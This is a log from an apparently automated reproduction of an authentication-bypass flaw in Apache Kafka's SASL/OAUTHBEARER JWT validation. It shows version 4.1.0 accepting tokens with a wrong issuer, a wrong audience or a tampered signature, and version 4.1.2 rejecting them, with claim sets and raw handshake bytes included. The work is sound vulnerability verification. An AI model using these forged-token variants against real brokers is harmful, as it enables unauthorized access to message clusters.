=== Kafka SASL/OAUTHBEARER variant matrix === Repository: https://github.com/apache/kafka Vulnerable version: 4.1.0 (13f70256db3c994c590e5d262a7cc50b9e973204) Fixed version: 4.1.2 (c82fd9b934b4c1e6fa799e3f1dcc8f08d997740c) Project cache dir: /data/pruva/project-cache/dbbcc5c0-79b3-4b58-8870-31246d1143c4 Work dir: /data/pruva/runs/e9683a40-d1d1-46c8-8475-d3a9bb15dcb2/bundle/vuln_variant/artifacts/kafka-oauth-variant-20260711T041811Z-47909 [1/8] Checking dependencies... openjdk version "17.0.19" 2026-04-21 Python JWT dependencies: OK [2/8] Preparing Kafka binary distributions... Kafka 4.1.0 ready at /data/pruva/project-cache/dbbcc5c0-79b3-4b58-8870-31246d1143c4/kafka_2.13-4.1.0 Kafka 4.1.2 ready at /data/pruva/project-cache/dbbcc5c0-79b3-4b58-8870-31246d1143c4/kafka_2.13-4.1.2 [3/8] Capturing shipped DefaultJwtValidator delegate selection... Fix comparison: 4.1.2 selects BrokerJwtValidator when jwks.endpoint.url is configured; 4.1.0 does not. [4/8] Starting mock OAuth/JWKS issuer on http://127.0.0.1:46139... { "label": "valid", "now": 1783743493, "expired_at_replay": false, "claims": { "sub": "variant-user", "preferred_username": "variant-user", "iss": "https://mock-idp.example.com", "aud": "kafka-broker", "iat": 1783743433, "exp": 1783747093, "scope": "kafka-cluster" } } { "label": "wrong_issuer", "now": 1783743493, "expired_at_replay": false, "claims": { "sub": "variant-user", "preferred_username": "variant-user", "iss": "https://attacker-idp.example.net", "aud": "kafka-broker", "iat": 1783743433, "exp": 1783747093, "scope": "kafka-cluster" } } { "label": "wrong_audience", "now": 1783743493, "expired_at_replay": false, "claims": { "sub": "variant-user", "preferred_username": "variant-user", "iss": "https://mock-idp.example.com", "aud": "other-service", "iat": 1783743433, "exp": 1783747093, "scope": "kafka-cluster" } } { "label": "tampered_signature", "now": 1783743493, "expired_at_replay": false, "claims": { "sub": "variant-user", "preferred_username": "variant-user", "iss": "https://mock-idp.example.com", "aud": "kafka-broker", "iat": 1783743433, "exp": 1783747093, "scope": "kafka-cluster" } } [5/8] Writing raw Kafka SASL/OAUTHBEARER TCP client... [6/8] Running vulnerable broker attempt (Kafka 4.1.0)... Formatting Kafka 4.1.0 (vulnerable) storage with cluster id QIGG8j4vRziXor1pe9EiOg Starting Kafka 4.1.0 (vulnerable) broker on 127.0.0.1:37029 Kafka 4.1.0 (vulnerable) broker is ready. Running variant raw TCP SASL tests. { "label": "vulnerable_valid", "host": "127.0.0.1", "port": 37029, "replay_time": 1783743497, "jwt_claims": { "sub": "variant-user", "preferred_username": "variant-user", "iss": "https://mock-idp.example.com", "aud": "kafka-broker", "iat": 1783743433, "exp": 1783747093, "scope": "kafka-cluster" }, "jwt_expired_at_replay": false, "accepted_by_broker": true, "rejected_by_broker": false, "sasl_handshake_raw_hex": "00000001000000000001000b4f41555448424541524552", "sasl_handshake_correlation_id": 1, "sasl_handshake_error_code": 0, "mechanisms": [ "OAUTHBEARER" ], "sasl_authenticate_first_response": { "raw_hex": "000000020000000000000000000000000036ddec", "correlation_id": 2, "error_code": 0, "error_message": "", "auth_bytes_len": 0, "auth_bytes_utf8": "", "session_lifetime_ms": 3595756 } } { "label": "vulnerable_wrong_issuer", "host": "127.0.0.1", "port": 37029, "replay_time": 1783743497, "jwt_claims": { "sub": "variant-user", "preferred_username": "variant-user", "iss": "https://attacker-idp.example.net", "aud": "kafka-broker", "iat": 1783743433, "exp": 1783747093, "scope": "kafka-cluster" }, "jwt_expired_at_replay": false, "accepted_by_broker": true, "rejected_by_broker": false, "sasl_handshake_raw_hex": "00000001000000000001000b4f41555448424541524552", "sasl_handshake_correlation_id": 1, "sasl_handshake_error_code": 0, "mechanisms": [ "OAUTHBEARER" ], "sasl_authenticate_first_response": { "raw_hex": "000000020000000000000000000000000036ddb2", "correlation_id": 2, "error_code": 0, "error_message": "", "auth_bytes_len": 0, "auth_bytes_utf8": "", "session_lifetime_ms": 3595698 } } { "label": "vulnerable_wrong_audience", "host": "127.0.0.1", "port": 37029, "replay_time": 1783743497, "jwt_claims": { "sub": "variant-user", "preferred_username": "variant-user", "iss": "https://mock-idp.example.com", "aud": "other-service", "iat": 1783743433, "exp": 1783747093, "scope": "kafka-cluster" }, "jwt_expired_at_replay": false, "accepted_by_broker": true, "rejected_by_broker": false, "sasl_handshake_raw_hex": "00000001000000000001000b4f41555448424541524552", "sasl_handshake_correlation_id": 1, "sasl_handshake_error_code": 0, "mechanisms": [ "OAUTHBEARER" ], "sasl_authenticate_first_response": { "raw_hex": "000000020000000000000000000000000036dd7a", "correlation_id": 2, "error_code": 0, "error_message": "", "auth_bytes_len": 0, "auth_bytes_utf8": "", "session_lifetime_ms": 3595642 } } { "label": "vulnerable_tampered_signature", "host": "127.0.0.1", "port": 37029, "replay_time": 1783743497, "jwt_claims": { "sub": "variant-user", "preferred_username": "variant-user", "iss": "https://mock-idp.example.com", "aud": "kafka-broker", "iat": 1783743433, "exp": 1783747093, "scope": "kafka-cluster" }, "jwt_expired_at_replay": false, "accepted_by_broker": true, "rejected_by_broker": false, "sasl_handshake_raw_hex": "00000001000000000001000b4f41555448424541524552", "sasl_handshake_correlation_id": 1, "sasl_handshake_error_code": 0, "mechanisms": [ "OAUTHBEARER" ], "sasl_authenticate_first_response": { "raw_hex": "000000020000000000000000000000000036dd43", "correlation_id": 2, "error_code": 0, "error_message": "", "auth_bytes_len": 0, "auth_bytes_utf8": "", "session_lifetime_ms": 3595587 } } /data/pruva/runs/e9683a40-d1d1-46c8-8475-d3a9bb15dcb2/bundle/vuln_variant/reproduction_steps.sh: line 489: 48775 Killed KAFKA_OPTS="-Djava.security.auth.login.config=$jaas -Dorg.apache.kafka.sasl.oauthbearer.allowed.urls=$ALLOWED_URLS" nohup "$home/bin/kafka-server-start.sh" "$props" > "$broker_log" 2>&1 [7/8] Running fixed broker control (Kafka 4.1.2)... Formatting Kafka 4.1.2 (fixed) storage with cluster id 4-79SABORtqJ--0mFjx_vA Starting Kafka 4.1.2 (fixed) broker on 127.0.0.1:48261 Kafka 4.1.2 (fixed) broker is ready. Running variant raw TCP SASL tests. { "label": "fixed_valid", "host": "127.0.0.1", "port": 48261, "replay_time": 1783743503, "jwt_claims": { "sub": "variant-user", "preferred_username": "variant-user", "iss": "https://mock-idp.example.com", "aud": "kafka-broker", "iat": 1783743433, "exp": 1783747093, "scope": "kafka-cluster" }, "jwt_expired_at_replay": false, "accepted_by_broker": true, "rejected_by_broker": false, "sasl_handshake_raw_hex": "00000001000000000001000b4f41555448424541524552", "sasl_handshake_correlation_id": 1, "sasl_handshake_error_code": 0, "mechanisms": [ "OAUTHBEARER" ], "sasl_authenticate_first_response": { "raw_hex": "000000020000000000000000000000000036c4ce", "correlation_id": 2, "error_code": 0, "error_message": "", "auth_bytes_len": 0, "auth_bytes_utf8": "", "session_lifetime_ms": 3589326 } } { "label": "fixed_wrong_issuer", "host": "127.0.0.1", "port": 48261, "replay_time": 1783743503, "jwt_claims": { "sub": "variant-user", "preferred_username": "variant-user", "iss": "https://attacker-idp.example.net", "aud": "kafka-broker", "iat": 1783743433, "exp": 1783747093, "scope": "kafka-cluster" }, "jwt_expired_at_replay": false, "accepted_by_broker": false, "rejected_by_broker": true, "sasl_handshake_raw_hex": "00000001000000000001000b4f41555448424541524552", "sasl_handshake_correlation_id": 1, "sasl_handshake_error_code": 0, "mechanisms": [ "OAUTHBEARER" ], "sasl_authenticate_first_response": { "raw_hex": "00000002000000000000001a7b22737461747573223a22696e76616c69645f746f6b656e227d0000000000000000", "correlation_id": 2, "error_code": 0, "error_message": "", "auth_bytes_len": 26, "auth_bytes_utf8": "{\"status\":\"invalid_token\"}", "session_lifetime_ms": 0 }, "sasl_authenticate_final_response": { "raw_hex": "00000003003a001a7b22737461747573223a22696e76616c69645f746f6b656e227d000000000000000000000000", "correlation_id": 3, "error_code": 58, "error_message": "{\"status\":\"invalid_token\"}", "auth_bytes_len": 0, "auth_bytes_utf8": "", "session_lifetime_ms": 0 } } { "label": "fixed_wrong_audience", "host": "127.0.0.1", "port": 48261, "replay_time": 1783743504, "jwt_claims": { "sub": "variant-user", "preferred_username": "variant-user", "iss": "https://mock-idp.example.com", "aud": "other-service", "iat": 1783743433, "exp": 1783747093, "scope": "kafka-cluster" }, "jwt_expired_at_replay": false, "accepted_by_broker": false, "rejected_by_broker": true, "sasl_handshake_raw_hex": "00000001000000000001000b4f41555448424541524552", "sasl_handshake_correlation_id": 1, "sasl_handshake_error_code": 0, "mechanisms": [ "OAUTHBEARER" ], "sasl_authenticate_first_response": { "raw_hex": "00000002000000000000001a7b22737461747573223a22696e76616c69645f746f6b656e227d0000000000000000", "correlation_id": 2, "error_code": 0, "error_message": "", "auth_bytes_len": 26, "auth_bytes_utf8": "{\"status\":\"invalid_token\"}", "session_lifetime_ms": 0 }, "sasl_authenticate_final_response": { "raw_hex": "00000003003a001a7b22737461747573223a22696e76616c69645f746f6b656e227d000000000000000000000000", "correlation_id": 3, "error_code": 58, "error_message": "{\"status\":\"invalid_token\"}", "auth_bytes_len": 0, "auth_bytes_utf8": "", "session_lifetime_ms": 0 } } { "label": "fixed_tampered_signature", "host": "127.0.0.1", "port": 48261, "replay_time": 1783743504, "jwt_claims": { "sub": "variant-user", "preferred_username": "variant-user", "iss": "https://mock-idp.example.com", "aud": "kafka-broker", "iat": 1783743433, "exp": 1783747093, "scope": "kafka-cluster" }, "jwt_expired_at_replay": false, "accepted_by_broker": false, "rejected_by_broker": true, "sasl_handshake_raw_hex": "00000001000000000001000b4f41555448424541524552", "sasl_handshake_correlation_id": 1, "sasl_handshake_error_code": 0, "mechanisms": [ "OAUTHBEARER" ], "sasl_authenticate_first_response": { "raw_hex": "00000002000000000000001a7b22737461747573223a22696e76616c69645f746f6b656e227d0000000000000000", "correlation_id": 2, "error_code": 0, "error_message": "", "auth_bytes_len": 26, "auth_bytes_utf8": "{\"status\":\"invalid_token\"}", "session_lifetime_ms": 0 }, "sasl_authenticate_final_response": { "raw_hex": "00000003003a001a7b22737461747573223a22696e76616c69645f746f6b656e227d000000000000000000000000", "correlation_id": 3, "error_code": 58, "error_message": "{\"status\":\"invalid_token\"}", "auth_bytes_len": 0, "auth_bytes_utf8": "", "session_lifetime_ms": 0 } } /data/pruva/runs/e9683a40-d1d1-46c8-8475-d3a9bb15dcb2/bundle/vuln_variant/reproduction_steps.sh: line 494: 50039 Killed KAFKA_OPTS="-Djava.security.auth.login.config=$jaas -Dorg.apache.kafka.sasl.oauthbearer.allowed.urls=$ALLOWED_URLS" nohup "$home/bin/kafka-server-start.sh" "$props" > "$broker_log" 2>&1 [8/8] Evaluating variant matrix... { "alternate_trigger_confirmed_on_vulnerable": true, "bypass_confirmed_on_fixed": false, "valid_controls_ok": true, "vulnerable_variant_accepts": { "wrong_issuer": true, "wrong_audience": true, "tampered_signature": true }, "fixed_variant_rejects": { "wrong_issuer": true, "wrong_audience": true, "tampered_signature": true }, "fixed_variant_accepts": { "wrong_issuer": false, "wrong_audience": false, "tampered_signature": false }, "tested_variants": [ "wrong_issuer", "wrong_audience", "tampered_signature" ], "vulnerable_version": "4.1.0", "fixed_version": "4.1.2", "vulnerable_tag_commit": "13f70256db3c994c590e5d262a7cc50b9e973204", "fixed_tag_commit": "c82fd9b934b4c1e6fa799e3f1dcc8f08d997740c" } VERDICT: alternate trigger confirmed on vulnerable version, but fixed version rejected all variant inputs. Exiting 1 by design because no bypass was reproduced.